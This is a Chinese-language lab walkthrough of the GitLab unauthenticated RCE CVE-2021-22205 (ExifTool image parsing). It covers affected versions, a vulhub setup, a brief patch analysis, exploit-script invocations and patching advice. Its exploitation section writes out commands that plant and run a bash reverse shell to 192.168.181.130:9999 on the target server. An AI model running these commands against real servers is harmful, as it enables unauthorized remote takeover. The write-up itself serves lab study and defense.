CVE-2021-22205 GITLAB 未授权 RCE 漏洞

 

漏洞描述

GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204(https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。

 

利用条件

11.9 <= Gitlab CE/EE < 13.8.8

13.9 <= Gitlab CE/EE < 13.9.6

13.10 <= Gitlab CE/EE < 13.10.3

 

环境搭建

使用vulhub搭建漏洞环境。

git clone https://github.com/vulhub/vulhub.gitcd
进入 vulhub/gitlab/CVE-2021-22205 目录下
使用 docker-compose up -d 开始安装环境

环境部署完毕后,访问ip+8080、访问到以下页面,环境搭建成功。

 

漏洞分析

漏洞原理

github上的diff记录对漏洞原理做简单分析。

审计源码、在 lib/gitlab/sanitizers/exif.rb 中 对允许的MIME类型做了修改 对上传文件类型的判断做了修复。

在 spec/lib/gitlab/sanitizers/exif_spec.rb 中对图像的规格检测做了修改。

在workhorse/internal/upload/uploads_test.go中对上传的图片、更新了校验规则、判断规则。

漏洞测试

POC脚本测试如下:

python3 cve-2021-22205.py -v true -t http://127.0.0.1:8080

漏洞利用

可利用python脚本exp功能。

1. 上传txt文件

python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “touch /tmp/xl.txt”

2. 反弹shell

python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “echo ‘bash -i >& /dev/tcp/192.168.181.130/9999 0>&1’ > /tmp/xl.sh”

添加执行权限

python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “chmod +x /tmp/xl.sh”

反弹shell

python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “/bin/bash /tmp/xl.sh”

 

修复建议

1. 使用白名单、限制源ip;

2. 更新到安全版本。

参考(https://hackerone.com/reports/1154542)

(完)